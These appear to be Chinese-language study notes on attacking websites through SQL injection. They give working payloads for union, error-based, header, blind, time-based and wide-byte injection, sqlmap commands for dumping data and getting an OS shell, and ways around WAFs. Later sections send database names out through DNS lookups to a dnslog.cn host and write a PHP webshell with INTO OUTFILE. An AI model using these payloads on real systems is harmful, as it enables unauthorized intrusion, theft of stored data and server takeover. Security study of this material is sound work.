注入的本质:
sql:把用户输入的数据当做sql代码执行
XSS:用户输入的数据当做前端代码执行XXE:用户输入的数据当做XML代码执行
代码执行:用户输入的数据当做后端代码执行
命令执行:用户输入的数据当做系统命令执行
sql关键点:
1.用户能够控制输入----存在注入点
2.原本程序要执行的代码,拼接了用户输入的数据然后进行执行----能利用漏洞并拿到数据
联合查询
检测漏洞的原理
select * from news where id=2-1 得到1
select * from news where id=‘2-1’ 得到2-1
“与‘包住的东西不会被代码执行---------------------说明上述存在漏洞,因为进行了运算
注意:所有的GET传参都要进行url编码,而+在url编码里面代表着空格,所以当我们要使用+的时候,需要进行编码之后再使用
检测漏洞的方法
1、运算符检测漏洞
如上
2、and 1=1 and 1=2
select * from news where id=1 and 1=1
select * from news where id=1 and 1=2
如果两次页面返回的值不一样,那么就说明代码运行了==>1=1为真, 那么 and 前后均为真,就返回不一样的值;此时当1=2时为假,那么页面就不返回值。
注意:可能存在传参强转---->(1 and 1=1) 1s2w2f8f = 1 asd415631 = 0
即只解析第一位,那么此时就不存在注入点
但是此类方法太老了,容易被waf拦截,所以要找该字符的替代品 = ----------> like in
可以变形为 and -1=-1
3、sleep检测
有的时候输入1=1与1=2时返回的结果都一样,这个时候我们就可以试试看 and sleep(10),然后如果页面一直在转圈圈返回的慢,那么就说明存在注入的
4、1'
字符型注入
如何利用漏洞--库名、表名、字段名、数据(联合注入)
select 字段名 from 表名 where 条件
1.union -------为了可以执行我们想执行的语句,要找输出点
联合查询:将两条sql语句的结果一齐输出(要求:相同字段数)
找输出点 : id=1 union select 1,2
2.order by -------知道字段数
排序:目的是给数据库里面的每一列排序,当id=1 order by 3报错的时候就说明此时无数据可排序,即字段数为2
情况一:
id:一般是正整数,所以可以使用浮点数1.585或者 and 1=2 来让 id=5 union select 1,2 中的id=5不输出,进而输出1或2的值
数据库可以选择性输出 eg:id=1.568 union select 1,2 ,此时如果页面输出了2,那么说明该数据库的输出点是在2这个位置
情况二:
但是还有一种情况是在登录框里面注入,此时就要数据存在即为true才能输出结果,此时就使用:a' or 1=1 order by 1 #
在此之后,我们就可以使用a' or 1=1 union select 1,2,3 #
但是此时存在了一个问题,union注入是一个拼接注入,会优先输出union前面的值,此时就需要让前面的值不输出,即:a' union select 1,2,3# ,因为id=a这条数据并不存在
3.database()
显示当前数据库的库名
4.information_schema ------系统自带库获得表名、字段名
系统自带数据库,一般不会改名,里面的tables表 储存着数据库和表的关联
table_name 为该数据库中表名的统称
table_schema 为该数据库中库名的统称
colum_name 为该数据库中字段名的统称
information_schema.columns 这个表里面存着数据库、表名、字段名三者之间的关系
select table_name from tables ===>会输出数据库里所有表的名称
select table_name from tables where table_schema="ttt "
库.表.字段 ====选择X库里的X表中的X字段
select table_name from information_schema.tables where table_schema=database() //可以查当前数据库里的表名
完整的即:id=1.26 union select 1,table_name from information_schema.tables where table_schema=database()
解释:使用了union注入,输出点不在2处,解释为从系统自带数据库中的tables表里输出table_name这个字段的内容,条件是table_schema等于当前数据库的库名 ===>即整条语句的目的是输出当前数据库的表名,但是此时只取到了单个表的表名
5.limit
核心:limit n,m ===>从第n+1条数据开始取m条数据
group_concat() ---->多行数据全部输出,通过,间隔(但是网站输出点有长度限制,所以会输出不全,尽量不要用这个函数)
union select 1,colum_name from information_schema.colums where table_name="admin" 但是存在一个问题,不同的数据库会存在相同的表名,所以上述写法错误,要写清楚库名,才能查询字段
union select 1,colum_name from information_schema.colums where table_name='admin' and table_schema=database() limit 0,1 1,1 2,1 3,1 4,1 ---->依次来试试看有哪些字段
发现有id username password 总共三个字段
然后 就可以看各个字段中的数据啦
union select 1,password from admin 此时就可以看到当前数据库中的admin表中字段名为password 的值
6.注释
-- qwe 目的是让数据库执行我的语句,把数据库自带的闭合符号 ' 给注释了,如果是要闭合前面的',那么只需要再来一个‘就行
一般情况:' " ') ")
注意!只有在mysql数据库中#才是注释
堆叠注入:
用一个分号可以将原有的语句执行结束,然后再执行第二条,即可以同时执行两条函数
;结尾原有原句,然后后面另起一行
注意:select 字段名 from 表名 where 条件
所以不能存在id=1 union select 1,colum_name from information_schema.colums where table_name='admin' and table_schema=database(),3
而是 id=1 union select 1,colum_name,3 from information_schema.colums where table_name='admin' and table_schema=database()
sqlmap跑双引号不太ok
sqlmap的使用
--dbs 获取库名
-D 指定库名 -D maoshe --tables
--tables 获取表
下述三步可以跳过
-T 指定表名
--columns 跑字段
-C 指定字段
--dump 获得数据(高危命令,正常情况下无授权不用)
--random-agent 选择随机ua头 user-gaents
--delay=1 每次探测延时s(防止被ban)
--count 查看数据量,因为不能脱库,以此来看有多少数据
--level 1-5 测试等级(最低1)等级越高检测越详细,一般使用3
--risk sqlmap语句的复杂度,越高越复杂
组合拳 --level 3 --risk 2
--is--dba 查看当前用户的权限,如果dba是true,那么就可以尝试直接拿webshell
dba是数据库管理员
--os-shell 直接获取目标的cmd权限,能用这个命令的一定是dba,但是发过来就不一定了
--flush-session 删除缓存,以防sqlmap偷懒
--proxy "http:127.0.0.1:1080" 使用本地1080端口
POST注入
是sql注入,只是传参方式为post
核心:有框(登录框、注册框)
sqlmap跑POST注入:
1、--form
2、-r 抓数据包
建议使用这个,因为有的注入点要登录之后才有,需要返回的cookie
此时要先用burp抓包,然后把抓到的包保存下来1.txt,然后在注入点的内容后面加一个*
然后在包的当前目录开一个cmd,之后py sqlmap.py -r 1.txt
报错注入
路径不存在,尝试报错
updatexml(目标xml内容a,xml文档路径b,更新的内容c) 到b这个路径下的文件里将a的内容更新为c
updatecml(1,'~',1) 此时就会报错'~'
如果把中间替换为updatecml(1,database(),1) 那么就可能把database的值返回来,但是前提是要报错,此时就会用到一个mysql的字符串拼接函数 concat('a','b');
Head注入
核心:head里面会存储上传访问的ip是xxx、上个访问的页面是xxx、之前访问的设备是xxx,此时就证明记录了,即证明使用了sql语句,所以就可能存在sql注入
即在抓包的head部分进行注入
如何抓127.0.0.1的包?
1、抓内网ip地址的包
2、设置本机域名(本机host) 127.0.0.1 a.com
即修改host文件,可以百度如何修改
没有登录的都是游客,head所记录的都是用户,所以head注入最有可能出现在用户成功登录的数据包
注意!如果使用sqlmap的话,要使用-r 抓数据包 同POST注入
建议使用这个,因为有的注入点要登录之后才有,需要返回的cookie
此时要先用burp抓包,然后把抓到的包保存下来1.txt,然后在注入点的内容后面加一个*
然后在包的当前目录开一个cmd,之后py sqlmap.py -r 1.txt
注入点:User-Agent
查询数据库:
即concat('~',database()),此时就满足报错,且又能输出数据
上述语句执行顺序,先执行最中心括号的内容database(),然后把~与数据库名拼接到一起,最后执行外面的updatexml语句
注意,报错注入是基于head注入
我们在登录这一步需要输入正确的账号密码,然后改变User-Agent为注入的语句,之后再执行登录
注意!有的时候and能出,有的时候or能出
查询表名:
由于此时下面加黑部分为子查询,所以要加一个()
$uagent=' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database())),1),'1') -- qwe
子查询:
- 要先运行,所以就要加一个();
- 其次,需要使用and 与 or来连接
- 其返回可以是字符串,也可以是表,所以我们就要使用limit 0,1 来限制输出为字符串
改为:$uagent=' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'1') -- qwe
如果此时数据不返回,那么就把and改为or试试看
查询字段名:
$uagent=' and updatexml(1,concat('~',(select colum_name from information_schema.colums where table_schema=database() and table_name='flag_head' limit 0,1)),1),'1') -- qwe
此时可以更换为1,1来看不同字段是什么
获取字段:
$uagent=' and updatexml(1,concat('~',(select flag_h1 from flag_head limit 0,1)),1),'1') -- qwe
注入点:Referer
Refere里会存储跳转到此页面的上一个网站的网址,用于防御从莫名其妙接口来的访问
注入点:X-Forwarded-For
代理服务器:
1、透明代理:被访问的人知道你是谁
署名是X-Forwarded-For
2、高匿代理:被访问的人不知道你是谁,用于用户之间,eg:梯子
代理服务器:就是为了访问更快,上面会缓存网站数据,当被访问时先看数据有没有,没有就找原服务器要,有了就直接给数据
自动获取代理池,并与sqlmap联动:https://bbs.zkaq.cn/t/4705.html
原理:爬虫爬取代理的地址和端口,然后本地轮回探测代理是否可用
盲注
应用场景
1、有些网站对于所传的参数不敏感,无论传什么数据,回显的结果都一样----时间盲注;
2、页面有回显,但是不会显示具体内容,只会显示语句是否正常执行-布尔类型(判断正确与否)----布尔盲注
使用时机:当联合查询没有输出点时
不需要猜数据库、表、字段,只需要and、or
eg:and database()="maoshe" 来自己猜、爆破
这就需要切割方法,单个单个的来跑
布尔盲注
函数:
length()函数:返回字符串的长度
substr()函数:截取字符串 substr(字符串内容,从哪里切割,切多长)
ascii()函数:返回字符的ascii码(将字符变为数字)------二分法
sleep()函数:将程序挂起一段时间n 秒
if(expr1,expr2,expr3)函数:判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句
方法:
判断数据库名长度:
?id=1 and length(database())>5 =5
猜库名:a的ascii码是97
?id=1 and ascii(substr(database(),1,1))>97
存在手注过于麻烦的情况,所以使用
1、sqlmap 偏爱盲注
直接-u就行,都不用加参数
2、burpsuite
抓包-- 然后
字典选中number
也可以32-127,因为32以前的特殊字符不能作为数据库名
从上往下就是数据库名
猜表名:
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
延时注入
函数:
sleep()函数:将程序挂起一段时间n 秒
if(条件,成立执行,不成立执行)函数:判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句
if(ascii(substr(database(),1,1))=97,sleep(10),6) -- qwe
sql注入技巧:
1、并不是只有单引号能够逃逸出单引号-----转义符号:
我们可以看到,加入转义符号之后,蓝色部分已经自动闭合了,此时的321部分我们不做处理也能正常执行代码 ,即
此时执行的代码是:
2、注释符号绕过:
不让用# -- qwe /*
此时想办法闭合了前后的单引号就行
或者直接写一个单引号或者单引号a
括号的
一般数据库都有user表,所以这里直接盲猜user凑数
上述操作的目的:让我们的输入跳出单双引号,因为在单双引号里面的都是字符串
宽字节注入
魔术引号:
可以防御sql注入,但是在php5.4以下的直接修改配置文件后强制执行,高版本的只能通过特定的函数使用 addslashes()
magic_quotes_gpc():如果是get、post、cookie(作用域)传过来的数据,那么就在‘ “ \等字符前面加上反斜线转义符
绕过方法:
1、找一个不需要闭合的注入点(原有sql语句没有单双引号闭合,比如数字类型)
2、找一个不受作用域影响的注入点 eg: $_SERVER
3、宽字节注入
原理:
多字符编码---->多个字符组在一起成为一个汉字
GBK === 双字节编码
此时就会存在,不同的编码得到的结果不一样,eg:乱码
单字节编码:ascii码表上能找到的字符
反斜杠:单字节
===>两个单字节在一起会变成双字节
eg:select*from news where id=' 1' '
此时会被防御为:select*from news where id=' 1\' '
如果此时我们在 '前面加上一个 单字节的话,那么系统就会以为这可能是汉字,所以就?\连同一起解析,此时就绕过了魔术引号,单引号就成功逃逸出来了
即:select*from news where id=' 1?\' '
此时 数据库的编码为非utf-8 非英文编码都可以适用宽字节绕过,和前端、后端都没有关系
前端页面gbk,数据库也是gbk的概率很大
方法:
数据库使用GBK编码时就可能存在宽字节注入:传一个字符将反斜杠吃掉成为汉字
判断该数据库是什么编码:尝试看看,行就是gbk
常见:%df\ 可以凑在一起组成汉字
十六进制转字符串网站:https://www.bejson.com/convert/ox2str
已知\转十六制之后为5c,此时%df%5c是汉字 运,也可以不一定要df,可以是9c---->组合之后是%9c%5c 浅
?id=1%9c' order by 4 -- qwe (此时碰到 '后会变成\',接着%9c与\又结合,那么' 就逃逸出来啦 )
?id=1.1%9c' union select 1,2,database() -- qwe (使union前面的部分报错)
?id=1.1%9c' union select 1,2,table_name from information_schema.tables where table_schema='widechar' -- qwe
此时出现了问题,数据库名这里报错了,那么可以使用下述方法:
1、替代法: 使用database()
?id=1.1%9c' union select 1,2,table_name from information_schema.tables where table_schema=database() -- qwe
此时得知表名为user
2、修改法:
此时我想要知道字段名,那么就进行套娃
?id=1.1%9c' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database()) -- qwe
3、16进制法
mysql支持16进制输入,可以用来替代字符串
user的16进制为75736572
?id=1.1%9c' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 -- qwe
查询字段
?id=1.1%9c' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 2,1 -- qwe
使用sqlmap
1、使用抓包来跑比较好
2、直接使用时需要手动帮忙闭合----->加上%df 或者 %9c
py sqlmap.py --level 3 --risk 2 -u http://fsfefaefev?id=1.1%9c
如果是POST传参:
1、直接改hex
由于%df是url编码后的内容,而POST一般不会url编码,那么就需要抓包,然后看header头中对应的hex编码的内容,然后把 对应的hex改为df
原因是burp可以修改传参里面的数据包的十六进制的值,hex代表十六进制
2、传参汉字-----宽字节绕过
由于当前页面是utf-8编码,对于聂 字,
utf-8 ===>%E8%81%82 是 聂
GBK ===> %e8%81%82%5c 是 两个汉字
注意:有的汉字不可以,比如"一"
然后发现是盲注,用sqlmap来跑
DNS注入
注入没办法获得回显---------->盲注:布尔、时间-------->太繁琐----------->DNS注入可以让盲注变成报错注入
DNS ==》域名解析 ==》把域名转化为ip地址
SQL注入==》把用户输入的数据当作代码执行
DNS&注入 ====》 LOAD_FILE()读取文件的函数 ====》核心是转义符\
但是该函数的使用需要修改数据库配置文件,只有这样数据库才能读取文件
windows SMB服务:共享文件,只要在同一内网,那么就可以共享文件;因为是请求共享文件,所以会发起数据包。在发起共享文件之后会产生下述路径
UNC路径:该路径就是下面这部分
load_file():支持UNC路径
eg: 请求a.zkaq.cn/abc 的话,那么就会去访问a.zkaq.cn的服务器的某个端口
此时就一定会调用到DNS来解析域名,此时DNS日志里面就会记录“x时xxx请求我查xxx的域名”
此时:如果我们搭建一个DNS服务器来承接域名解析,那么所有的访问域名都会被我们的日志记录下列
注意:
1、正常的域名是由运营商来解析,但是可以通过修改域名的设置方法,强行指定某个IP去解析域名==>NS记录
2、固定的域名由固定的DNS服务器来解析,而固定的域名即需要买下一个域名+服务器+搭建服务
也可以直接使用:http://dnslog.cn
点击GET之后会自动给我们一个域名
此时我们ping一下
然后再刷新,就可以看到网页上记录的DNS日志(该IP是运营商的IP)
当我们让数据库执行
select load_file('//lqhrtw.dnslog.cn/abc');
如果执行了(数据库过了一会才返回值),就说明数据库访问了该地址
如果我们再执行
select load_file(concat('//',database(),'.lqhrtw.dnslog.cn/abc'));
先拼接了//,然后接着执行查询数据库,然后接上后续的域名====>注意,DNSlog会记录包含lqhrtw.dnslog.cn找个主体的域名
此时我们执行之后,那么该数据库的库名就会被拼接在dns请求日志里面返回来,这个时候就实现了dns注入
select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.lqhrtw.dnslog.cn/abc'));
此时如果是盲注,那么此刻我们就做到了转变为报错注入,这种方法叫做obb:数据外带
弱点:
1、目标得有网
2、Windows自带SMB服务,但是linux不自带
技巧:
一、黑白名单:
只要我们对白名单里面的后缀文件进行传参,那么waf就不会拦截
比如52.2.2.1/index.php/1.txt?id=1 and 1=1
但是理论上是会报404,此时由于web容器:apache的特性,他会对/index.php/1.txt 这样的请求进行处理,首先会看1.txt 发现没有后会自动解析index.php,然后返回的就不是404,而是正常的页面====>请求的页面不存在,他会自动请求前一个
二、如果一访问一个网页就被拦截的话,那么就清除一下Cookie
三、
load_file() 读取文件
写文件:
- into outfile() eg: select 1 into outfile '1.txt';
- into dumpfile()
一句话木马:
eval() 把字符串当作代码来执行
===>(建议请求的参数为数字,这样不会被单双引号影响)
select '' into outfile '../../../../../../../../../p_h_p/www/123.php';
此时我就访问123.php,然后在url上面传参:123.php?8=echo whoami;
利用联合查询写入一句话木马
不能使用order by时判断字段的方法:3个字段的时候延时,而两个字段的时候没有延时 ,那么就说明是3个字段
即: